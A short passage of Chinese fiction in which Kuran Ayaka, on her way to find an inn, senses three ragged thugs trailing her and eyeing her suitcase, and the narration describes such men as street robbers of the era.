玖兰绫夏拎着手提箱,往路口走去,打算叫辆人力车去旅店住下。 只是刚走出去没多远,她就察觉到背后多了几道视线。 用念识扫过去,她看到了身后跟踪的三人。 他们穿着皱巴巴的棉衣,头发油腻,眼神一直盯着她手上的皮箱。 这个时代管这种人叫无赖汉,没有正当职业,常年混迹在繁华街区的阴暗角落,专挑独行的路人下手。 抢钱,抢东西,遇到年轻女人就抢人。